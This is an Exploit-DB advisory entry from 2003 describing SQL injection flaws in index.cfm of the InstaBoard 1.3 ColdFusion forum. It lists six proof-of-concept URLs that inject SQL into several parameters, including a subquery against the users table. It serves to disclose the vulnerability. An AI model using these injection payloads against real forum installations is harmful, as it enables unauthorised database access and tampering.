InstaBoard 1.3 Index.CFM SQL Injection Vulnerability

2003-04-14T00:00:00
ID EDB-ID:22486
Type exploitdb
Reporter Jim Dew
Modified 2003-04-14T00:00:00

Description

InstaBoard 1.3 Index.CFM SQL Injection Vulnerability. Webapps exploit for cfm platform

                                        
                                            source: http://www.securityfocus.com/bid/7338/info

It has been reported that multiple input validation errors exist in the index.cfm file included with InstaBoard. Because of this issue, remote attackers may launch SQL injection attacks through the software.

The consequences may vary depending on the particular database implementation and the nature of the specific queries. SQL injection also makes it possible, under some circumstances, to exploit latent vulnerabilities that may exist in the underlying database.

It should be noted that although this vulnerability has been reported to affect InstaBoard version 1.3 previous versions might also be affected. 

http://www.example.com/instaboard/index.cfm?frmid=1%20AND%20u.userid%20IN%20(select%20userid%20from%20users)
http://www.example.com/instaboard/index.cfm?frmid=1&tpcid=1%20SQL
http://www.example.com/instaboard/index.cfm?frmid=1%20SQL&tpcid=1
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL
http://www.example.com/instaboard/index.cfm?catid=1%20SQL